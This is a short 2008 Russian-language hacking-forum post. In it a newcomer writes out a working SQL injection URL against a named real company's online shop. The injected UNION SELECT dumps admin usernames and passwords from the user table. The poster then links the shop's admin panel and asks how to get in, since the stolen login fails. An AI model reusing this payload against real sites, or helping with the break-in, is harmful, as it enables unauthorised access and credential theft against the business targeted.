08.08.2008, 16:34
|
|
Новичок
Регистрация: 07.08.2008
Сообщений: 8
С нами:
9347672
TEST DEPOSIT
Репутация:
3
|
|
Собствено такой вопрос Sql выдает пароль, и логин но в админку незаходит.
вот пример:
http://www.ssw-pruefsysteme.de/i_shop/shopdisplayproducts.asp?cat='%20union%20select%201 ,2,3,fldusername,5,6,7,8,9,10,11,12,13,14,15,16,17 ,18,19,20,21,fldpassword,23,24,25,26,27,28,29,30,3 1,32,33,34,35,36,37%20from%20tbluser"having%201=%2 01--sp_password
А вот сама админка:
http://www.ssw-pruefsysteme.de/i_shop/ssw_shopadmin35.asp
Собствено что можно зделать? |
|
|